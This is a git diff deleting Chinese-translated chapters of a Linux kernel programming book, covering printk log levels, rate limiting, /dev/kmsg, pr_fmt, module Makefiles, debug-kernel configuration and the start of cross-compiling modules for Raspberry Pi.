-等一下,无论`pr_debug()`和`pr_devel()`宏在日志级别`KERN_DEBUG`发出内核消息(即整数值`7`)发生了什么?它有*没有*出现在这里,也没有在下面`dmesg`输出?我们很快会解释这一点;请继续读下去。 - -当然,有了`dmesg(1)`,所有内核消息——嗯,至少那些还在内存内核日志缓冲区的消息——都会被显示出来。我们认为这是事实: - -```sh -rpi # rmmod printk_loglvl -rpi # dmesg -[...] -[ 1408.603812] Hello, world @ log-level KERN_EMERG [0] -[ 1408.611335] Hello, world @ log-level KERN_ALERT [1] -[ 1408.618625] Hello, world @ log-level KERN_CRIT [2] -[ 1408.625778] Hello, world @ log-level KERN_ERR [3] -[ 1408.625781] Hello, world @ log-level KERN_WARNING [4] -[ 1408.625784] Hello, world @ log-level KERN_NOTICE [5] -[ 1408.625787] Hello, world @ log-level KERN_INFO [6] -[ 1762.985496] Goodbye, world @ log-level KERN_INFO [6] -rpi # -``` - -除了`KERN_DEBUG`实例之外,所有 printk 实例都被视为我们通过`dmesg`实用程序查看内核日志。那么,如何显示调试消息呢?接下来会讲到。 - -### 启用 pr_debug()内核消息 - -啊,是的,`pr_debug()`有点特殊:除非`DEBUG`符号是*为内核模块定义的*,否则日志级别`KERN_DEBUG`的`printk` 实例不会出现。我们编辑内核模块的 Makefile 来实现这一点。有(至少)两种方法来设置它: - -* 将这一行插入 Makefile: - -```sh -CFLAGS_printk_loglvl.o := -DDEBUG -``` - -一般来说,是`CFLAGS_.o := -DDEBUG`。 - -* 我们也可以将这个语句插入到 Makefile 中: - -```sh -EXTRA_CFLAGS += -DDEBUG -``` - -首先,在我们的 Makefile 中,我们特意将`-DDEBUG`注释掉了。现在,尝试一下,取消注释以下注释掉的行: - -```sh -# Enable the pr_debug() as well (rm the comment from one of the lines below) -#EXTRA_CFLAGS += -DDEBUG -#CFLAGS_printk_loglvl.o := -DDEBUG -``` - -一旦完成,我们从内存中移除旧的过时内核模块,重建它,并使用我们的`lkm` 脚本插入它。输出显示`pr_debug()` 现在确实生效: - -```sh -# exit << exit from the previous root shell >> -$ ../../lkm printk_loglvl Version info: -Distro: Ubuntu 18.04.3 LTS -Kernel: 5.4.0-llkd01 ------------------------------- -sudo rmmod printk_loglvl 2> /dev/null ------------------------------- -[...] -sudo insmod ./printk_loglvl.ko && lsmod|grep printk_loglvl ------------------------------- -printk_loglvl 16384 0 ------------------------------- -dmesg ------------------------------- -[ 975.271766] Hello, world @ log-level KERN_EMERG [0] -[ 975.277729] Hello, world @ log-level KERN_ALERT [1] -[ 975.283662] Hello, world @ log-level KERN_CRIT [2] -[ 975.289561] Hello, world @ log-level KERN_ERR [3] -[ 975.295394] Hello, world @ log-level KERN_WARNING [4] -[ 975.301176] Hello, world @ log-level KERN_NOTICE [5] -[ 975.306907] Hello, world @ log-level KERN_INFO [6] -[ 975.312625] Hello, world @ log-level KERN_DEBUG [7] -[ 975.312628] Hello, world via the pr_devel() macro (eff @KERN_DEBUG) [7] -$ -``` - -`lkm`脚本输出的部分截图(图 4.9)清楚地揭示了`dmesg`的颜色编码,其中`KERN_ALERT / KERN_CRIT / KERN_ERR`背景分别以红色/粗体红色字体/红色前景色突出显示,而`KERN_WARNING`以粗体黑色字体突出显示,帮助我们人类快速发现重要的核心信息: - -![](img/885a72a4-c1d7-4663-a5f6-b2f56175d820.png) - -Figure 4.9 – Partial screenshot of lkm script's output - -请注意,启用动态调试功能(`CONFIG_DYNAMIC_DEBUG=y`)时,`pr_debug()`的行为并不相同。 - -Device driver authors should note that for the purpose of emitting debug `printk` instances, they should avoid using `pr_debug()`. Instead, it is recommended that a device driver uses the `dev_dbg()` macro (additionally passing along a parameter to the device in question). Also, `pr_devel()` is meant to be used for kernel-internal debug `printk` instances whose output should never be visible in production systems. - -现在,回到控制台输出部分。那么,也许是为了内核调试的目的(如果没有其他目的的话),有没有一种有保证的方法来确保所有的*printk 实例都指向控制台*?*是的,确实如此——只需传递名为`ignore_level`的内核(启动时)参数。有关这方面的更多详细信息,请查阅官方内核文档中的描述:[https://www . kernel . org/doc/html/latest/admin-guide/kernel-parameters . html](https://www.kernel.org/doc/html/latest/admin-guide/kernel-parameters.html)。切换对 printk 日志级别的忽略也是可能的:如上所述,您可以通过这样做来打开对 printk 日志级别的忽略,从而允许所有 printk 出现在控制台设备上(相反,通过将 N 回显到同一个伪文件来关闭它):* - -```sh -sudo bash -c "echo Y > /sys/module/printk/parameters/ignore_loglevel" -``` - -`dmesg(1)`实用程序还可用于通过各种选项开关(特别是`--console-level`选项)来控制对控制台设备的内核消息的启用/禁用,以及控制台日志记录级别(即消息将出现在控制台上的数字级别)。详情请你浏览`dmesg(1)`的手册页。 - -下一部分讨论另一个非常有用的日志功能:速率限制。 - -## 限制 printk 实例的速率 - -当我们从频繁执行的代码路径中发出`printk`实例时,`printk`实例的数量可能会很快溢出内核日志缓冲区(内存中;请记住,这是一个循环缓冲区),从而覆盖可能是关键信息的内容。除此之外,不断增长的非易失性日志文件重复几乎相同的`printk`实例(几乎)也不是一个好主意,会浪费磁盘空间,或者更糟的是,浪费闪存空间。例如,想象一下中断处理程序代码路径中的大型 printk。如果硬件中断以 100 赫兹的频率被调用,也就是说,每秒 100 次,会怎么样! - -为了缓解这些问题,内核提供了一个有趣的替代方案:*速率受限的* printk *。*`printk_ratelimited()`宏具有与常规 printk 相同的语法;关键是在满足一定条件的情况下有效*抑制*规则打印。为此,内核通过`proc`文件系统提供了两个名为`printk_ratelimit`和`printk_ratelimit_burst`的控制文件。在这里,我们直接复制`sysctl`文件(来自[https://www.kernel.org/doc/Documentation/sysctl/kernel.txt](https://www.kernel.org/doc/Documentation/sysctl/kernel.txt))来解释这两个(伪)文件的确切含义: - -```sh -printk_ratelimit: -Some warning messages are rate limited. printk_ratelimit specifies -the minimum length of time between these messages (in jiffies), by -default we allow one every 5 seconds. -A value of 0 will disable rate limiting. -============================================================== -printk_ratelimit_burst: -While long term we enforce one message per printk_ratelimit -seconds, we do allow a burst of messages to pass through. -printk_ratelimit_burst specifies the number of messages we can -send before ratelimiting kicks in. -``` - -在我们的 Ubuntu 18.04.3 LTS 来宾系统上,我们发现它们的(默认)值如下: - -```sh -$ cat /proc/sys/kernel/printk_ratelimit /proc/sys/kernel/printk_ratelimit_burst -5 -10 -$ -``` - -这意味着默认情况下,在限速生效之前,在 5 秒钟的时间间隔内,同一条消息最多有 10 个实例可以通过。 - -当 printk 速率限制器抑制内核`printk`实例时,它会发出一条有用的消息,确切地说明有多少早期的 printk 回调被抑制。例如,我们有一个定制的内核模块,它利用`Kprobes` 框架在每次调用`schedule()`之前发出一个`printk`实例,T3 是内核的核心调度例程。 - -A **kprobe** is essentially an instrumentation framework often leveraged for production system troubleshooting; using it, you can specify a function that can be set to execute before or after a given kernel routine. The details are beyond the scope of this book. - -现在,由于调度经常发生,常规的 printk 会导致内核日志缓冲区快速溢出。正是这种情况保证了限速 printk 的使用。在这里,我们看到了示例内核模块的一些示例输出(这里不显示它的代码),通过`kprobe`使用`printk_ratelimited()` API,该 API 设置了一个名为`handle_pre_schedule()`的*预处理程序*函数: - -```sh -[ 1000.154763] kprobe schedule pre_handler: intr ctx = 0 :process systemd-journal:237 -[ 1005.162183] handler_pre_schedule: 5860 callbacks suppressed -[ 1005.162185] kprobe schedule pre_handler: intr ctx = 0 :process dndX11:1071 -``` - -在 Linux 内核的**实时时钟** ( **RTC** )驱动程序的中断处理程序代码中可以看到一个使用速率受限 printk 的代码级示例: - -```sh -static void rtc_dropped_irq(struct timer_list *unused) -{ -[...] - spin_unlock_irq(&rtc_lock); - printk_ratelimited(KERN_WARNING "rtc: lost some interrupts at %ldHz.\n", freq); - /* Now we have new data */ - wake_up_interruptible(&rtc_wait); -[...] -} -``` - -Don't mix up the `printk_ratelimited()` macro with the older (and now deprecated) `printk_ratelimit()` macro. Also, the actual rate-limiting code is in `lib/ratelimit.c:___ratelimit()`. - -此外,就像我们之前看到的`pr_`宏一样,内核也提供了等效的`pr__ratelimited`宏,用于在启用了速率限制的情况下在日志级别``生成内核 printk。以下是它们的快速列表: - -```sh -pr_emerg_ratelimited(fmt, ...) -pr_alert_ratelimited(fmt, ...) -pr_crit_ratelimited(fmt, ...) -pr_err_ratelimited(fmt, ...) -pr_warn_ratelimited(fmt, ...) -pr_notice_ratelimited(fmt, ...) -pr_info_ratelimited(fmt, ...) -``` - -我们能从用户空间生成内核级消息吗?听起来很有趣;这是我们的下一个子话题。 - -## 从用户空间生成内核消息 - -我们程序员使用的一种流行的调试技术是在代码中的不同点散布打印,这通常允许我们缩小问题的来源。这确实是一种有用的调试技术,被称为**检测**代码。内核开发人员经常使用古老的 printk API 来实现这个目的。 - -因此,假设您已经编写了一个内核模块,并且正在调试它(通过添加几个 printk)。您的内核代码现在发出几个 printk 实例,当然,您可以通过`dmesg`或其他方式在运行时看到这些实例。这很好,但是如果,特别是因为您正在运行一些自动化的用户空间测试脚本,您希望看到脚本在我们的内核模块中通过打印出某个消息来启动某个动作的点会怎么样。举一个具体的例子,假设我们希望日志看起来像这样: - -```sh -test_script: msg 1 ; kernel_module: msg n, msg n+1, ..., msg n+m ; test_script: msg 2 ; ... -``` - -我们可以让我们的用户空间测试脚本将一条消息写入内核日志缓冲区,就像内核 printk 那样,通过将所述消息写入特殊的`/dev/kmsg`设备文件: - -```sh -echo "test_script: msg 1" > /dev/kmsg -``` - -等等,这样做当然需要以 root 访问权限运行。但是,请注意,在`echo`之前的一个简单的`sudo(8)`不起作用: - -```sh -$ sudo echo "test_script: msg 1" > /dev/kmsg -bash: /dev/kmsg: Permission denied -$ sudo bash -c "echo \"test_script: msg 1\" > /dev/kmsg" -[sudo] password for llkd: -$ dmesg |tail -n1 -[55527.523756] test_script: msg 1 -$ -``` - -第二次尝试中使用的语法是可行的,但是为自己获取一个根 Shell 并执行这样的任务更简单。 - -还有一件事:`dmesg(1)`实用程序有几个选项,旨在使输出更加人性化;我们通过示例别名将其中一些显示在`dmesg`中,之后我们使用它: - -```sh -$ alias dmesg='/bin/dmesg --decode --nopager --color --ctime' -$ dmesg | tail -n1 -user :warn : [Sat Dec 14 17:21:50 2019] test_script: msg 1 -$ -``` - -通过特殊的`/dev/kmsg`设备文件写入内核日志的消息将以当前默认日志级别打印,通常为`4 : KERN_WARNING`。我们可以通过在消息前面加上所需的日志级别(字符串格式的数字)来覆盖这一点。例如,要在日志级别`6 : KERN_INFO`将用户空间写入内核日志,请使用以下命令: - -```sh -$ sudo bash -c "echo \"<6>test_script: test msg at KERN_INFO\" \ - > /dev/kmsg" -$ dmesg | tail -n2 -user :warn : [Fri Dec 14 17:21:50 2018] test_script: msg 1 -user :info : [Fri Dec 14 17:31:48 2018] test_script: test msg at KERN_INFO -``` - -我们可以看到后一条消息是在日志级别`6`发出的,如`echo`中所指定的。 - -真的没有办法区分用户生成的内核消息和内核`printk()` *-* 生成的消息;他们看起来一模一样。因此,当然,它可以像在消息中插入一些特殊的签名字节或字符串一样简单,例如`@user@`,以便帮助您区分这些用户生成的打印和内核打印。 - -## 通过 pr_fmt 宏标准化 printk 输出 - -关于内核 printk 的最后但重要的一点;通常,给你的`printk()`输出提供上下文(*它到底发生在哪里?*),可以这样写代码,利用各种 gcc 宏(如`__FILE__`、`__func__`、`__LINE__`): - -```sh -pr_warning("%s:%s():%d: kmalloc failed!\n", OURMODNAME, __func__, __LINE__); -``` - -这很好;问题是,如果您的项目中有很多 printk,那么保证标准的 printk 格式(例如,首先显示模块名,然后是函数名,可能还有行号,如这里所见)总是被从事该项目的每个人所遵循会相当痛苦。 - -进入`pr_fmt`宏;在代码的开头定义这个宏(它必须在第一个`#include`之前),可以保证代码中的每个后续 printk*都以这个宏*指定的格式作为前缀。让我们举个例子(我们展示下一章的代码片段;不用担心,它真的非常简单,可以作为您未来内核模块的模板): - -```sh -// ch5/lkm_template/lkm_template.c -[ ... ] - */ -#define pr_fmt(fmt) "%s:%s(): " fmt, KBUILD_MODNAME, __func__ - -#include -#include -#include -[ ... ] -static int __init lkm_template_init(void) -{ - pr_info("inserted\n"); - [ ... ] -``` - -`pr_fmt()`宏以粗体突出显示;它使用预定义的`KBUILD_MODNAME`宏来替换你的内核模块的名称,使用 gcc `__func__`说明符来显示我们当前运行的函数的名称!(您甚至可以添加一个与相应的`__LINE__`宏匹配的`%d`来显示行号)。所以,底线是:我们在这个 LKM 的`init`函数中发出的`pr_info()`将在内核日志中显示如下: - -```sh -[381534.391966] lkm_template:lkm_template_init(): inserted -``` - -请注意 LKM 名称和函数名称是如何自动加前缀的。这很有用,也确实很常见;在内核中,几乎有数百个源文件以`pr_fmt()`开头。(对 5.4 内核代码库的快速搜索显示,代码库中有超过 2000 个此宏的实例!我们也将遵循这个惯例,尽管不是在我们所有的演示内核模块中)。 - -The `pr_fmt()` also takes effect on the recommended printk usage for driver authors - via the `dev_()` functions. - -## 可移植性和 printk 格式规范 - -关于通用的 printk 内核 API,有一个问题需要思考,您将如何确保您的 printk 输出看起来正确(格式正确)并且在任何 CPU 上都同样工作良好,而不管位宽如何?便携性的问题在这里凸显出来;好消息是,熟悉所提供的各种格式说明符将在这方面对您有很大帮助,实际上允许您编写独立于 arch 的 printks。 - -It's important to realize that the `size_t` - pronounced *size type* - is a `typedef` for an unsigned integer; similarly, `ssize_t` (*signed size type*) is a `typedef` for a signed integer. - -在编写可移植代码时,需要记住几个首要的常见 printk 格式说明符: - -* 对于`size_t`、`ssize_t`(有符号和无符号)整数:分别使用`%zd`和`%zu` -* 内核指针:安全使用`%pK`(哈希值),实际指针使用`%px`(不要在生产中使用这个!),此外,物理地址使用`%pa`(必须通过引用传递) -* 原始缓冲区为一串十六进制字符:`%*ph`(其中`*`由字符数代替;用于 64 个字符以内的缓冲区,使用`print_hex_dump_bytes()`例程获取更多信息);变体是可用的(参见内核文档,链接如下) -* 带`%pI4`的 IPv4 地址,带`%pI6`的 IPv6 地址(也有变体) - -printk 格式说明符的详尽列表,当(举例)是这里的官方内核文档的一部分时使用:[https://www.kernel.org/doc/Documentation/printk-formats.txt](https://www.kernel.org/doc/Documentation/printk-formats.txt)。我劝你浏览一下! - -好的。让我们通过学习内核模块的 Makefile 如何构建内核的基础知识来完成这一章。 - -# 了解内核模块 Makefile 的基础知识 - -你会注意到我们倾向于遵循一种*每个目录一个内核模块*的排序规则。是的,这肯定有助于保持事情的条理。那么,让我们以第二个内核模块`ch4/printk_loglvl` 为例。要构建它,我们只需将`cd`放到它的文件夹中,键入`make`,然后(祈祷吧!)瞧,完成了。我们有新生成的`printk_loglevel.ko` 内核模块对象(然后我们可以`insmod(8)/rmmod(8)`)。但是我们打`make`的时候到底是怎么造出来的呢?啊,解释这就是这一节的目的。 - -As this is our very first chapter that deals with the LKM framework and its corresponding Makefile, we will keep things nice and simple, especially with regard to the Makefile here. However, early in the following chapter, we shall introduce a more sophisticated, simply *better*Makefile (that is still quite simple to understand). We shall then use this better Makefile in all subsequent code; do look out for it and use it! - -如您所知,`make`命令默认会在当前目录中查找名为`Makefile`的文件;如果它存在,它将解析它并执行其中指定的命令序列。这是我们的内核模块`printk_loglevel`项目的 Makefile: - -```sh -// ch4/printk_loglvl/Makefile -PWD := $(shell pwd)obj-m += printk_loglvl.o - -# Enable the pr_debug() as well (rm the comment from the line below) -#EXTRA_CFLAGS += -DDEBUG -#CFLAGS_printk_loglvl.o := -DDEBUG - -all: - make -C /lib/modules/$(shell uname -r)/build/ M=$(PWD) modules -install: - make -C /lib/modules/$(shell uname -r)/build/ M=$(PWD) modules_install -clean: - make -C /lib/modules/$(shell uname -r)/build/ M=$(PWD) clean -``` - -不用说,Unix Makefile 语法基本上要求这样: - -```sh -target: [dependent-source-file(s)] - rule(s) -``` - -`rule(s)`实例总是以`[Tab]`字符为前缀,*而不是*空格。 - -让我们收集关于这个 Makefile 如何工作的基础知识。首先,一个关键点是:内核的`Kbuild`系统(我们从[第 2 章](02.html)、*从源代码构建 5.x Linux 内核–第 1 部分*开始就一直提到和使用它),主要使用两个软件变量串来构建,链接在两个`obj-y`和`obj-m`变量中。 - -`obj-y`字符串包含要构建并合并到最终内核映像文件中的所有对象的串联列表-未压缩的`vmlinux` 和压缩的(可引导的)`[b]zImage` 映像。想想看——有道理:`obj-y`中的`y`代表*是的。*内核配置过程中设置为`Y`的所有内核内置和`Kconfig`选项(或默认为`Y`)通过此项链接在一起,构建,最终由`Kbuild`构建系统编织成最终的内核镜像文件。 - -另一方面,现在很容易看到`obj-m`字符串是所有内核对象的串联列表,分别构建*、*作为内核模块*!这就是为什么我们的 Makefile 有这样一条非常重要的线:* - -```sh -obj-m += printk_loglvl.o -``` - -实际上,它告诉`Kbuild`系统包含我们的代码;更正确地说,它告诉它将`printk_loglvl.c`源代码隐式编译成`printk_loglvl.o` 二进制对象,然后将这个对象添加到`obj-m`列表中。接下来,`make`的默认规则为`all`规则,处理如下: - -```sh -all: - make -C /lib/modules/$(shell uname -r)/build/ M=$(PWD) modules -``` - -这个单一语句的处理相当复杂;事情是这样的: - -1. `-C`选项切换到`make`会使`make`进程*将目录*(通过`chdir(2)`系统调用)更改为`-C`后面的目录名称。因此,它将目录更改为内核`build`文件夹(正如我们前面介绍的,这是通过`kernel-headers`包安装的“受限”内核源代码树的位置)。 -2. 一旦到了那里,它就在解析*内核的顶级* Makefile 的内容——也就是说,驻留在那里的 Makefile,在这个有限内核源代码树的根中。这是一个关键点。通过这种方式,可以保证所有内核模块都与它们所针对的内核紧密耦合(稍后将详细介绍)。这也保证了内核模块是用与内核映像本身完全相同的一组规则构建的,即编译器/链接器配置(`CFLAGS`选项、编译器选项开关等)。所有这些都是二进制兼容所必需的。 -3. 接下来可以看到名为`M`的变量的初始化,指定的目标是`modules`;因此,`make`进程现在将目录更改为由`M`变量指定的目录,您可以看到该变量被设置为`$(PWD)`-我们开始的文件夹(当前工作目录;Makefile 中的`PWD := $(shell pwd)`将其初始化为正确的值)! - -因此,有趣的是,这是一个递归构建:构建过程,已经(非常重要地)解析了内核顶层 Makefile,现在切换回内核模块的目录,并在其中构建模块。 - -你有没有注意到,当构建一个内核模块时,也会生成相当数量的中间工作文件?其中有`modules.order`、`.mod.c`、`.o`、`Module.symvers`、`.mod.o`、`..o.cmd`、`..ko.cmd`,一个名为`.tmp_versions/`的文件夹,当然还有内核模块二进制对象本身`.ko`——构建练习的全部要点。去掉所有这些对象,包括内核模块对象本身,很容易:只需执行`make clean`。`clean`规则清理了这一切。(我们将在下一章深入探讨`install`目标。) - -You can look up what the `modules.order` and `modules.builtin` files (and other files) are meant for within the kernel documentation here: `Documentation/kbuild/kbuild.rst`. - -Also as mentioned previously, we shall, in the following chapter, introduce and use a more sophisticated Makefile variant - **a 'better' Makefile**; it is designed to help you, the kernel module/driver developer, improve code quality by running targets related to kernel coding style checks, static analysis, simple packaging, and (a dummy target) for dynamic analysis. - -至此,我们结束这一章。干得好——你现在已经在学习 Linux 内核开发的路上了! - -# 摘要 - -在本章中,我们介绍了 Linux 内核体系结构和 LKM 框架的基础知识。您了解了什么是内核模块以及它为什么有用。然后我们编写了一个简单而完整的内核模块,一个非常基础的 *Hello,world* 。然后,该材料进一步深入研究了它的工作原理,以及如何加载它、查看模块列表和卸载它。printk 的内核日志记录有一些详细的介绍,包括速率限制 printk、从用户空间生成内核消息、将其输出格式标准化,以及理解内核模块 Makefile 的基础知识。 - -这一章到此结束;我敦促您(通过本书的 GitHub 存储库)处理示例代码,处理*问题*/作业,然后继续下一章,继续我们编写 Linux 内核模块的内容。 - -# 问题 - -作为我们的总结,这里有一个问题列表,供您测试您对本章材料的知识:[https://github . com/packt publishing/Linux-Kernel-Programming/tree/master/questions](https://github.com/PacktPublishing/Linux-Kernel-Programming/tree/master/questions)。你会在这本书的 GitHub repo 中找到一些问题的答案:[https://GitHub . com/PacktPublishing/Linux-Kernel-Programming/tree/master/solutions _ to _ assgn](https://github.com/PacktPublishing/Linux-Kernel-Programming/tree/master/solutions_to_assgn)。 - -# 进一步阅读 - -为了帮助您用有用的材料更深入地研究这个主题,我们在本书的 GitHub 存储库中的*进一步阅读*文档中提供了一个相当详细的在线参考资料和链接列表(有时甚至是书籍)。*进一步阅读*文档可在此获得:[https://github . com/packt publishing/Linux-Kernel-Programming/blob/master/进一步阅读. md](https://github.com/PacktPublishing/Linux-Kernel-Programming/blob/master/Further_Reading.md) 。******** \ No newline at end of file diff --git a/docs/linux-kernel-prog/05.md b/docs/linux-kernel-prog/05.md deleted file mode 100644 index a1c10468..00000000 --- a/docs/linux-kernel-prog/05.md +++ /dev/null @@ -1,1733 +0,0 @@ -# 五、编写你的第一个内核模块——LKMs 第二部分 - -本章是我们关于**可加载内核模块** ( **LKM** )框架以及如何使用它编写内核模块的后半部分。为了最大限度地利用它,我希望你先完成前一章,并在处理这一章之前在那里尝试代码和问题。 - -在这一章中,我们从上一章中中断的地方继续。在这里,我们将介绍如何为 LKMs 使用一个“更好”的 Makefile,如何为 ARM 平台交叉编译一个内核模块(作为一个典型的例子),什么是模块堆叠以及如何进行,以及如何设置和使用模块参数。在此过程中,除了其他几件事,您将了解内核 API/ABI 稳定性(或者说,缺乏稳定性!),编写用户空间和内核代码之间的主要区别,在系统启动时自动加载内核模块,以及安全问题和如何解决这些问题。我们以关于内核文档(包括编码风格)的信息结束,并为主线做贡献。 - -简而言之,我们将在本章中讨论以下主题: - -* 内核模块的“更好”的 Makefile 模板 -* 交叉编译内核模块 -* 收集最少的系统信息 -* 授权内核模块 -* 模拟内核模块的“类库”特性 -* 将参数传递给内核模块 -* 内核中不允许浮点运算 -* 系统启动时自动加载模块 -* 内核模块和安全性-概述 -* 内核开发人员的编码风格指南 -* 为主线内核做贡献 - -# 技术要求 - -本章的技术要求–所需的软件包–与[第 4 章](04.html)、*编写您的第一个内核模块–LKMs 第 1 部分*中的*技术要求*部分所示的内容相同;请参考它。和往常一样,您可以在本书的 GitHub 存储库中找到本章的源代码。用以下内容克隆它: - -```sh -git clone https://github.com/PacktPublishing/Linux-Kernel-Programming -``` - -书中显示的代码通常只是一个相关的片段。从存储库中获取完整的源代码。对于本章(以及随后的章节),有关技术要求的更多信息可在下一节中找到。 - -# 内核模块的“更好”的 Makefile 模板 - -前一章向您介绍了用于从源代码生成内核模块的 Makefile,以安装和清理它。然而,正如我们在那里简要提到的,我现在将介绍在我看来什么是上级,什么是“更好的”Makefile,并解释它是如何变得更好的。 - -最终,我们都必须编写更好、更安全的代码——包括用户和内核空间。好消息是,有几个工具有助于提高代码的健壮性和安全性,静态和动态分析器就是其中之一(正如在[第 1 章](01.html)、*内核工作区设置、*中已经提到的几个工具,我在此不再赘述)。 - -我已经为内核模块设计了一个简单但有用的 Makefile“模板”,它包括几个帮助您运行这些工具的目标。这些目标允许您非常容易地执行有价值的检查和分析;*你可能会忘记、忽略或永远搁置的东西!*这些目标包括以下内容: - -* “通常的”目标——目标`build`、`install`和`clean`。 -* 内核编码风格生成和检查(分别通过`indent(1)`和内核的`checkpatch.pl`脚本)。 -* 内核静态分析目标(`sparse`、`gcc`、`flawfinder`,提到**球菌**。 - -* 两个“虚拟”内核动态分析目标(`KASAN`和`LOCKDEP / CONFIG_PROVE_LOCKING`),鼓励您为所有测试用例配置、构建和使用“调试”内核。 -* 一个简单的`tarxz-pkg`目标是将源文件定位并压缩到前面的目录中。这使您能够将压缩的`tar-xz`文件传输到任何其他 Linux 系统,并在那里提取和构建 LKM。 -* 一个“虚拟”的动态分析目标,指出你应该如何投入时间来配置和构建一个“调试”内核,并使用它来捕捉 bug!(接下来会有更多相关内容。) - -您可以在`ch5/lkm_template`目录中找到代码(还有一个`README`文件)。为了帮助您了解它的用途和功能,并帮助您入门,下图简单显示了代码在其`help`目标下运行时产生的输出截图: - -![](img/5ce03084-7691-4a0c-b889-dc76231f804a.png) - -Figure 5.1 – The output of the helptarget from our "better" Makefile - -在*图 5.1* 中,我们先做`make`,然后按 *Tab* 键两次,让它显示所有可用的目标。一定要仔细研究并使用它!例如,运行`make sa`会导致它在你的代码上运行它所有的**静态分析** ( `sa`)目标! - -还需要注意的是,使用这个 Makefile 将需要您在系统上安装一些包/应用;这些包括(对于基础 Ubuntu 系统)`indent(1)`、`linux-headers-$(uname -r)`、`sparse(1)`、`flawfinder(1)`、`cppcheck(1)`和`tar(1)`。([第 1 章](01.html)、*内核工作空间设置*,已经指定应该安装这些。) - -另外,注意 Makefile 中提到的所谓**动态分析** ( `da`)目标仅仅是虚拟目标,除了打印消息之外什么也不做。它们在那里*到* *提醒你*通过在适当配置的“调试”内核上运行来彻底测试你的代码! - -说到“调试”内核,下一节将向您展示如何配置一个。 - -## 配置“调试”内核 - -(有关配置和构建内核的详细信息,请参考[第 2 章](02.html)、*从源代码构建 5.x Linux 内核-第 1 部分*、[第 3 章](03.html)、*从源代码构建 5.x Linux 内核-第 2 部分*)。 - -在*调试内核*上运行您的代码可以帮助您发现难以发现的错误和问题。我强烈建议这样做,特别是在开发和测试期间!在这里,我最低限度地期望您配置您的定制 5.4 内核,以打开以下内核调试配置选项(在`make menuconfig`用户界面中,您将在`Kernel Hacking`子菜单下找到大多数选项;以下列表与 Linux 5.4.0 相关): - -* `CONFIG_DEBUG_INFO` -* `CONFIG_DEBUG_FS`(伪文件系统`debugfs` -* `CONFIG_MAGIC_SYSRQ`(魔法系统热键功能) -* `CONFIG_DEBUG_KERNEL` -* `CONFIG_DEBUG_MISC` -* 内存调试: - * `CONFIG_SLUB_DEBUG`。 - * `CONFIG_DEBUG_MEMORY_INIT`。 - * `CONFIG_KASAN`:这里是**内核地址杀毒软件**端口;然而,截至本文撰写之时,它仅适用于 64 位系统。 -* `CONFIG_DEBUG_SHIRQ` -* `CONFIG_SCHED_STACK_END_CHECK` -* 锁定调试: -* `CONFIG_PROVE_LOCKING`:非常强大的`lockdep`功能,捕捉锁定 bug!这也打开了其他几个锁调试配置,在[第 13 章](13.html)、*内核同步-第 2 部分*中进行了解释。 -* `CONFIG_LOCK_STAT` -* `CONFIG_DEBUG_ATOMIC_SLEEP` - -* `CONFIG_STACKTRACE` -* `CONFIG_DEBUG_BUGVERBOSE` -* `CONFIG_FTRACE` ( `ftrace`:在其子菜单中,至少打开几个“追踪器”) -* `CONFIG_BUG_ON_DATA_CORRUPTION` -* `CONFIG_KGDB`(仁 GDB;可选) -* `CONFIG_UBSAN` -* `CONFIG_EARLY_PRINTK` -* `CONFIG_DEBUG_BOOT_PARAMS` -* `CONFIG_UNWINDER_FRAME_POINTER`(选择`FRAME_POINTER`和`CONFIG_STACK_VALIDATION` - -A couple of things to note: -a) Don't worry too much right now if you don't get what all the previously mentioned kernel debug config options do; by the time you're done with this book, most of them will be clear. -b) Turning on some `Ftrace` tracers (or plugins), such as `CONFIG_IRQSOFF_TRACER`, would be useful as we actually make use of it in our *Linux Kernel Programming (Part 2)* book in the *Handling Hardware Interrupts* chapter; (note that though Ftrace itself may be enabled by default, all its tracers aren't). - -请注意,打开这些配置选项*确实会导致性能下降,但这没关系。我们运行这种“调试”内核的明确目的是*捕捉错误和 bug*(尤其是难以发现的那种!).它确实可以拯救生命!在您的项目中,*您的工作流程应该包括您的代码在以下两个*上进行测试和运行:* - - ** *调试*内核系统,其中所有必需的内核调试配置选项都已打开(如前所述) -* *生产*内核系统(其中所有或大部分前面的内核调试选项将被关闭) - -不用说,我们将在本书的所有后续 LKM 代码中使用前面的 Makefile 风格。 - -好了,现在你都准备好了,让我们进入一个有趣而实用的场景——为另一个目标(通常是 ARM)编译你的内核模块。 - -# 交叉编译内核模块 - -在[第 3 章](03.html)、*从源代码构建 5.x Linux 内核-第 2 部分*中,在*树莓皮的内核构建*部分,*和*中,我们展示了如何为“外来”目标架构(如 ARM、PowerPC、MIPS 等)交叉编译 Linux 内核。本质上,对于内核模块也可以这样做;通过适当设置“特殊”`ARCH`和`CROSS_COMPILE`环境变量,可以轻松地交叉编译内核模块。 - -例如,让我们假设我们正在开发一个嵌入式 Linux 产品;我们的代码将在其上运行的目标设备有一个 AArch32 (ARM-32) CPU。为什么不举一个实际的例子。让我们为树莓 Pi 3 **单板计算机** ( **SBC** )交叉编译我们的*你好,世界*内核模块! - -这很有趣。你会发现,虽然它看起来简单明了,但我们最终要经历四次迭代才能成功。为什么呢?请继续阅读了解详情。 - -## 建立交叉编译系统 - -交叉编译内核模块的先决条件非常清楚: - -* 我们需要将目标系统的*内核源树作为工作空间的一部分安装在我们的主机系统上,通常是 x86_64 桌面(对于我们的示例,使用树莓 Pi 作为目标,请参考这里的官方树莓 Pi 文档:[https://www . raspberrpi . org/documents/Linux/kernel/building . MD](https://www.raspberrypi.org/documentation/linux/kernel/building.md))。* -* 我们现在需要一个交叉工具链。通常,主机系统是 x86_64,这里,由于目标是 ARM-32,我们将需要一个 *x86_64 到 ARM32 的交叉工具链*。同样,正如[第 3 章](03.html)、*从源代码构建 5.x Linux 内核-第 2 部分*、*为树莓 Pi 构建内核*中明确提到的,您必须下载并安装树莓 Pi 专用的 x86_64 到 ARM 工具链,作为主机系统工作空间的一部分(请参考[第 3 章](03.html)、*从源代码构建 5.x Linux 内核-第 2 部分*,了解如何安装工具链)。 - -好的,从这一点开始,我将假设您安装了 x86_64 到 ARM 的交叉工具链。我也会假设*工具链前缀*是`arm-linux-gnueabihf-`;我们可以通过尝试调用`gcc`交叉编译器来快速检查工具链是否已安装,其二进制文件是否已添加到路径中: - -```sh -$ arm-linux-gnueabihf-gcc -arm-linux-gnueabihf-gcc: fatal error: no input files -compilation terminated. -$ -``` - -它起作用了——只是我们没有传递任何 C 程序作为编译的参数,因此它会抱怨。 - -You can certainly look up the compiler version as well with the `arm-linux-gnueabihf-gcc --version` command. - -## 尝试 1–设置“特殊”环境变量 - 